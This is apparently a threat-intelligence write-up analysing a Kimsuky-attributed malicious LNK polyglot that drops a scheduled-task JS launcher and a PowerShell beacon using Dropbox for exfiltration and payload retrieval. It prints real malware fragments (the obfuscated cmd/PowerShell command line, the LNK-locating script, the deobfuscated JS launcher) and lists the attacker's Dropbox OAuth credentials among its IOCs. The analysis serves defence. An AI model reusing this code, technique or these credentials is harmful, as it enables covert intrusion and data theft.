Anatomy of a Malicious LNK: Embedded PDF, XOR ZIP, and Dropbox Beacon

MD5d555e46e36e34da5779145fa8ae8bed9
SHA-15b03dd1ece961e28febcfcb582ca58edd39da526
SHA-256625f912f4bdb5df0f2584f6b162c8602e5bb756b4853b94a12b9b9dadc25b915
File name작물보호제 공급 검토 품목 제안서.lnk (Korean: “Crop Protection Supply Review Item Proposal.lnk”)
File infoMS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, Unicoded, HasEnvironment, PreferEnvironmentPath, length=0, window=showminnoactive
AttributionKimsuky (North Korea 🇰🇵) Learn more

Executive Summary

This report details a sophisticated, multi-stage downloader distributed through a malicious LNK file that masquerades as a Korean-language agricultural document. The initial infection chain leverages a polyglot LNK that is a valid Windows shortcut that also contains an embedded PDF decoy and an XOR-encrypted ZIP archive. Once executed, the malware silently opens the decoy PDF to maintain the illusion of legitimacy while extracting and deploying a JavaScript based persistence mechanism and a PowerShell beacon that uses Dropbox API as its command-and-control (C2) channel.

The attacker employs layered evasion techniques, including string obfuscation via [char] concatenation in PowerShell, XOR-encoded strings in JavaScript, and a scheduled task that ensures long-term access. The C2 payload exfiltrates system information (OS version, public IP, username, process list) and awaits a remote .bat payload for further post-exploitation activity.

Verdict: Downloader with Dropbox C2, drops and executes arbitrary payloads retrieved from attacker-controlled Dropbox storage.

Initial Vector: The Polyglot LNK

I started my Analysis using the Eric Zimmerman LECmd. Notably, the target file’s creation, modification, and access timestamps are all null, indicating the metadata has likely been timestomped to hinder forensic analysis.

Several of the enabled flags are particularly noteworthy. HasArguments indicates that the shortcut executes a command line rather than simply opening a file, while HasExpString and PreferEnvironmentPath allow environment variables (for example, %TEMP%) to be expanded at runtime, making the shortcut portable across different Windows installations.

The Show Window value is set to SW_SHOWMINNOACTIVE, causing the spawned process to launch minimized without taking focus. This is a common usability trick that reduces the likelihood of the victim noticing a command interpreter or PowerShell window during execution.

The command-line arguments reveal that the shortcut ultimately launches PowerShell through cmd.exe. Instead of referencing powershell.exe directly, it first enumerates the contents of C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ using a for /f loop and then invokes the discovered executable. This indirect invocation is a simple obfuscation technique that can evade naive string-based detections while still executing the embedded PowerShell payload. The script subsequently uses environment variables such as %TEMP% and PowerShell cmdlets including Get-Location and Get-ChildItem, indicating that the payload dynamically resolves paths instead of relying on hardcoded locations.

Luckily enough, i captured the cmd window before it gets closed.

Command line obfuscation

The LNK executes a convoluted command line that locates and invokes PowerShell:

`%windir%\SysWOW64\cmd.exe /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe /s /b /od') do call %a "<inline PowerShell payload>"`

The inline PowerShell payload (extracted from hex dump at offset 0x4E) is a self-referencing script that:

The embedded PowerShell script begins by searching for the original LNK file that launched it.

$oxpoqExt='.lnk';
$oxpoqGetLoc = Get-Location;
if($oxpoqGetLoc -Match 'System32' -or $oxpoqGetLoc -Match 'Program Files') {
    $oxpoqGetLoc = '%temp%'
};
$oxpoqMainLnP = Get-ChildItem -Path $oxpoqGetLoc -Recurse *.* -File |
    where {$_.extension -eq $oxpoqExt} |
    where-object {$_.length -eq 0x00010B96} |    # 68502 bytes = exact LNK size
    Select-Object -ExpandProperty FullName -First 1;

Rather than referencing its own filename, the script recursively searches for a .lnk file whose size is exactly 68,502 bytes (0x10B96). Using the file size as an identifier allows the malware to locate the original shortcut even if it has been renamed or moved to a different directory.

The script also checks its current working directory before beginning the search. If it detects that it is running from System32 or Program Files, it switches the search location to %TEMP% instead. This behavior likely serves as a simple anti-analysis measure, since automated analysis environments and sandboxes often execute samples from system directories rather than from a user’s normal download or temporary folders.

LNK Polyglot file structure

The shortcut is more than a standard Windows LNK file. It is a polyglot, meaning multiple file formats are embedded within a single file. This allows the attackers to package the launcher, a decoy document, and additional payloads together without dropping multiple files at the initial stage.

Stage 2: Decoy PDF Document

The PDF, extracted from offset 0x173A, is a genuine-looking 3-page Korean document discussing crop protection products.

Metadata FieldValue
PDF Version1.4
ProducerHancom PDF 1.3.0.515
Author(팔) [Korean character]
Creator한컴오피스 2018 (Hancom Office 2018)
Languageko-KR (Korean)
Created2026-05-20T12:45:56+09:00 (KST)
Modified2026-05-20T12:45:56+09:00 (KST)
Pages3

The presence of authentic metadata and subject matter aligns with spear-phishing lures attributed to the Kimsuky group, which often targets South Korean government, agriculture, and defense sectors.

Stage 3: Extracting the encrypted zip file

After opening the decoy, the LNK’s PowerShell script extracts bytes from 0xFF18 to the end of the file, XORs them with 0xBF, and writes the result to %TEMP%. The decrypted content is a valid ZIP containing two files:

FileSizeFunction
pack_free.js921 bytesPersistence. executes advpackx.ps1 via wscript.exe
advpackx.ps16,130 bytesC2 Beacon. communicates with Dropbox API

The malware then creates two hidden directories:

  • C:\ProgramData\Intel_R\ (hidden + system)
  • C:\ProgramData\vc_lib\ (hidden + system)

The naming (Intel_R and vc_lib) mimics legitimate software paths to evade casual inspection.

The notation:

(hidden + system)

means it executes something equivalent to:

attrib +h +s C:\ProgramData\Intel_R
attrib +h +s C:\ProgramData\vc_lib

where:

  • +h (Hidden): the folder is hidden from Windows Explorer unless “Show hidden files” is enabled.
  • +s (System): marks it as a system folder. By default, Explorer also hides protected operating system files, making the folder even less visible.

Persistence via Scheduled Task

The JavaScript Launcher (pack_free.js)

After extraction, the file is renamed to joy_{first 4 chars of machine UUID}.js and placed in C:\ProgramData\Intel_R\. Its obfuscated logic uses an XOR key of 0x52 to decode critical strings. Deobfuscated, it simply checks for the existence of advpackx.ps1 and executes it with PowerShell:

After deobfuscating the javascript.

function gPop() {
    var s = " eliF- ssapyB yciloPnoitucexE- eliforPoN- ";  // reversed
    return "powershell.exe" + s.split("").reverse().join("");
    // Returns: "powershell.exe -NoProfile -ExecutionPolicy Bypass -File "
}
 
var f  = new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject("WScript.Shell");
var p  = "C:\\ProgramData\\vc_lib\\advpackx.ps1";
 
try {
    if (f.FileExists(p)) {
        sh.Run("powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\vc_lib\\advpackx.ps1", 0, 1);
    }
}
// WindowStyle=0 (hidden), bWaitOnReturn=1 (synchronous wait)

Scheduled Task Construction

The PowerShell script builds a scheduled task using heavily fragmented cmdlet names to avoid static signatures. The task is named WinSch_{full machine UUID} and is configured as follows:

  • Trigger: Once, 1 minute after creation, repeating every 16 minutes indefinitely.
  • Action: wscript.exe /B /NoLogo C:\ProgramData\Intel_R\joy_{shortId}.js
  • Settings: AllowStartIfOnBatteries and DontStopIfGoingOnBatteries.

This task ensures continuous execution even if the original LNK is deleted.

C2 Beacon: Dropbox API Communication (advpackx.ps1)

The PowerShell script is the heart of the malware’s command-and-control. All sensitive strings are constructed via [char] integer concatenation, making them invisible to simple string scanners

Reconstructed Dropbox Endpoints

FunctionDeobfuscated URLPurpose
UoR()https://content.dropboxapi.com/2/files/uploadUpload victim data
DoR()https://content.dropboxapi.com/2/files/downloadDownload payload
RoR()https://api.dropboxapi.com/2/files/move_v2Rename files on Dropbox
AoR()https://api.dropboxapi.com/oauth2/tokenRefresh OAuth tokens

As observed here, it issues DNS requests to dropbox servers.

Authentication

The malware uses hardcoded OAuth2 credentials (client_id, client_secret, refresh_token) to obtain an access token. This token is refreshed automatically, granting the attacker persistent access to their Dropbox app folder without re-authentication.

I tried to authenticate but it seems that the malware author disabled the access token, and this has caused the malware to be obselete as it can’t download the next stage payload.

System Reconnaissance & Exfiltration

The gpi() function collects:

  1. OS version ([System.Environment]::GetProperty('OSVersion'))
  2. Public IP (via nslookup myip.opendns.com 208.67.222.220)
  3. Domain\Username ($env:USERDOMAIN@@$env:USERNAME)
  4. Full process list

The public IP and process list are encrypted using RC4 (key: Se!cure32) and then encoded with a custom Base64 implementation (no padding =). The ciphertext is then uploaded to a Dropbox path like /Agri_{hardware fingerprint}/MM:dd---HH:mm.txt.

Payload Retrieval & Execution

The script downloads a file from the path {victim ID}_cafe on Dropbox, saves it as %TEMP%\cafebucket{RAND}.bat, executes it silently, waits 120 seconds, and then deletes it. To prevent re-download, it renames the source file on Dropbox by appending _buy, a simple “claimed” marker.

As mentioned earlier, the C2 is not working anymore, maybe dropbox took it down or the malware authors disabled it when it got exposed.

Hardware Fingerprinting

The victim ID is generated by hashing four hardware attributes:

$raw = "$cpuSerial|$motherboardSerial|$diskSerial|$biosUUID"
$fingerprint = first 5 bytes of SHA256($raw)  # yields a 10-char hex string

This creates a unique identifier that persists across reinstallation unless the hardware changes significantly.

Complete Attack flow

flowchart TB
    A["LNK Double-click"]
        --> B["PowerShell Loader"]

    subgraph Stage1["Stage 1: Initial Execution"]
        B --> C["Locate LNK by size"]
        C --> D["Open decoy PDF"]
        C --> E["Decrypt embedded ZIP"]
        E --> F["Extract JS + PS1"]
    end

    subgraph Stage2["Stage 2: Persistence"]
        F --> G["Create hidden directories"]
        G --> H["Drop payload files"]
        H --> I["Create scheduled task<br/>WinSch_{UUID}<br/>Every 16 min"]
    end

    subgraph Stage3["Stage 3: Beacon"]
        I --> J["Launch JS -> PS1"]
        J --> K["Fingerprint machine"]
        J --> L["OAuth to Dropbox"]
        J --> M["Upload encrypted system info"]
        J --> N["Download & execute .bat"]
    end

Indicators of Compromise (IOCs)

File Hashes

Hashsha256 Value
LNK625f912f4bdb5df0f2584f6b162c8602e5bb756b4853b94a12b9b9dadc25b915
advpackx.ps1ab35ca5736ed32538e44e6be5c919cfdcf25350a6f6fb53e5074e4112141b88d
pack_free.jsf3c9cba88e1c1a64274700a32b054cec273f88ab02400f4c31009114db3264d8

Network

opendns and dropbox are not malicious in themselves, but the malware utilizes them so it’s hard to block.

  • content.dropboxapi.com
  • api.dropboxapi.com
  • myip.opendns.com / IP 208.67.222.220

Dropbox Application Credentials

  • client_id: 8nkecl76vovy4ox
  • client_secret: 8l7kce2cgy181aq
  • refresh_token: vXhf3ZVJUjMAAAAAAAAAARC__6b7ZY2jvHbd9kkl_74lTAPcGd_E27sNA29Upn8b

File System

  • C:\ProgramData\Intel_R\joy_*.js
  • C:\ProgramData\vc_lib\advpackx.ps1
  • %TEMP%\cafebucket*.bat

Persistence

  • Task name: WinSch_{full UUID}
  • Command: wscript.exe /B /NoLogo "C:\ProgramData\Intel_R\joy_{...}.js"
  • Repetition: every 16 minutes

MITRE ATT&CK Mapping

TacticTechnique IDTechnique NameEvidence
Initial AccessT1566.001Phishing: Spearphishing AttachmentKorean-lured .lnk delivered as agricultural document
ExecutionT1204.002User Execution: Malicious FileVictim double-clicks LNK
ExecutionT1059.001Command and Scripting Interpreter: PowerShellInline PowerShell payload invoked via cmd.exe
ExecutionT1059.007Command and Scripting Interpreter: JavaScriptpack_free.js executed via wscript.exe
Defense EvasionT1027.012Obfuscated Files or Information: LNK Icon SmugglingIcon spoofed to mimic a document
Defense EvasionT1027.009Obfuscated Files or Information: Embedded PayloadsPDF + XOR’d ZIP appended within the LNK polyglot
Defense EvasionT1027.013Obfuscated Files or Information: Encrypted/Encoded FileZIP archive XOR-encrypted (0xBF) at offset 0xFF18
Defense EvasionT1027.010Obfuscated Files or Information: Command Obfuscationfor /f indirection to locate powershell.exe; reversed-string trick in JS; [char] concatenation in PS1
Defense EvasionT1140Deobfuscate/Decode Files or InformationRuntime XOR decode of ZIP (0xBF) and JS strings (0x52)
Defense EvasionT1036.008Masquerading: Masquerade File TypeLNK disguised as Korean-language proposal document
Defense EvasionT1036.005Masquerading: Match Legitimate Name or LocationHidden dirs named Intel_R, vc_lib
Defense EvasionT1564.001Hide Artifacts: Hidden Files and Directoriesattrib +h +s on C2 directories
Defense EvasionT1070.004Indicator Removal: File Deletion.bat payload deleted after 120s execution wait
PersistenceT1053.005Scheduled Task/Job: Scheduled TaskWinSch_{UUID} task, every 16 min
DiscoveryT1083File and Directory DiscoveryRecursive search for the 68,502-byte LNK by file size
DiscoveryT1082System Information DiscoveryOS version via [System.Environment]::GetProperty('OSVersion')
DiscoveryT1033System Owner/User Discovery$env:USERDOMAIN@@$env:USERNAME
DiscoveryT1057Process DiscoveryFull running process list collected
DiscoveryT1016.001System Network Configuration Discovery: Internet Connection Discoverynslookup myip.opendns.com for public IP
CollectionT1560.003Archive Collected Data: Archive via Custom MethodRC4 (key Se!cure32) + custom no-padding Base64 applied to exfil data before upload
ExfiltrationT1041Exfiltration Over C2 ChannelUploaded to Dropbox API. same channel used for C2
Command and ControlT1102.002Web Service: Bidirectional CommunicationDropbox API used for both upload and download of C2 data/payloads
Command and ControlT1071.001Application Layer Protocol: Web ProtocolsHTTPS to dropboxapi.com endpoints

Attribution

While no single indicator in this sample is definitive proof of authorship, several converging factors support a moderate-confidence attribution to Kimsuky, a North Korea aligned cyber espionage group tracked by MITRE ATT&CK as G0094 and also known as APT43, Black Banshee, Velvet Chollima, and THALLIUM. Kimsuky has been active since at least 2013 and is primarily focused on intelligence collection against South Korea, with secondary targeting of the United States, Japan, and Europe (SOCRadar1).

Lure content and language. The initial LNK masquerades as a Korean language agricultural procurement document, and the embedded decoy PDF was authored in Hancom Office 2018 (ko-KR locale), The dominant office suite in South Korean government and enterprise environments. This lines up with Kimsuky’s established pattern of building highly tailored, sector-specific lures (Aryaka Threat Research Lab2) rather than generic phishing content; the group is known for impersonating legitimate entities and using social engineering to get victims to open malicious attachments or divulge credentials (Huntress3). CISA’s joint advisory on Kimsuky similarly notes that the group tailors its phishing content to its intelligence collection targets, historically including South Korean government, agriculture-adjacent policy, and think-tank sectors (CISA AA20-301A4) .

LNK-based delivery. Kimsuky has increasingly pivoted toward malicious .lnk attachments as an initial-access vector over more traditional macro-laden Office documents, a shift documented across several independent write-ups in 2026 alone. AhnLab’s ASEC has tracked this evolution from a simple LNK to PowerShell to BAT chain toward more layered LNK to PowerShell to XML/VBS/PS1/BAT sequences, consistent with the multi-stage structure seen in this sample (LNK to inline PowerShell to JS to PS1) (gbhackers.com summary of ASEC reporting5; cybersecuritynews.com6). LNK abuse for icon spoofing and payload smuggling is also called out as a recurring Kimsuky technique in operational-blueprint reporting (Aryaka Threat Research Lab2).

Dropbox as C2/exfiltration infrastructure. The use of the Dropbox API for both payload retrieval and data exfiltration rather than a dedicated C2 server, closely mirrors other recent Kimsuky campaigns. Independent reporting on parallel LNK based intrusion chains describes Kimsuky uploading stolen host data to Dropbox with structured filenames and pulling second stage .bat/archive payloads from attacker-controlled Dropbox paths before renaming or marking them as “claimed”. This closely matches the _buy rename-after-download behavior observed in this sample (DEV Community / ASEC writeup7 ; SOC Prime8). Enki WhiteHat’s infrastructure analysis separately documents Kimsuky operating roughly a dozen distinct Dropbox URLs for payload distribution alongside GitHub-based C2 in the same period, indicating Dropbox abuse is a standing part of the group’s toolkit rather than a one-off (Enki WhiteHat9).

Scheduled-task persistence and layered obfuscation. The WinSch_{UUID}-style scheduled task, fragmented cmdlet construction, XOR/[char]-based string obfuscation, and staged execution through disguised system-like folder names (Intel_R, vc_lib) are all consistent with TTPs cataloged for the group, including scheduled-task persistence disguised under benign-sounding names and heavy use of custom RC4/XOR encoding for exfiltrated data (Picus Security10).

Caveats. Attribution here rests on TTP and infrastructure-pattern overlap rather than a hard link such as reused C2 infrastructure, shared code artifacts, or campaign-specific tooling unique to a confirmed Kimsuky cluster. Cloud-abuse-for-C2 (Dropbox, GitHub, etc.) and LNK polyglots are increasingly common across multiple DPRK-nexus clusters, and TTP convergence between Kimsuky and other loosely affiliated North Korean units has been noted elsewhere. I’m therefore labeling this “suspected Kimsuky” rather than confirmed, consistent with how the sample is captioned throughout this report.

Sources

Footnotes

  1. SOCRadar: Kimsuky APT Profile

  2. Aryaka Threat Research Lab: The Operational Blueprint of Kimsuky for Cyber Espionage 2

  3. Huntress: Kimsuky Threat Actor Profile

  4. CISA AA20-301A: North Korean Advanced Persistent Threat Focus: Kimsuky

  5. gbhackers.com summary of ASEC reporting

  6. Kimsuky Deploys Malicious LNK Files to Deliver Python-Based Backdoor in Multi-Stage Attack

  7. DEV Community / ASEC writeup

  8. SOC Prime: Malicious LNK Files Distributing a Python-Based Backdoor and Changes in Distribution Techniques (Kimsuky Group)

  9. Enki WhiteHat: Dissecting Kimsuky’s Attacks on South Korea: In-Depth Analysis of GitHub-Based Malicious Infrastructure

  10. Picus Security: Exposing the steps of the kimsuky apt group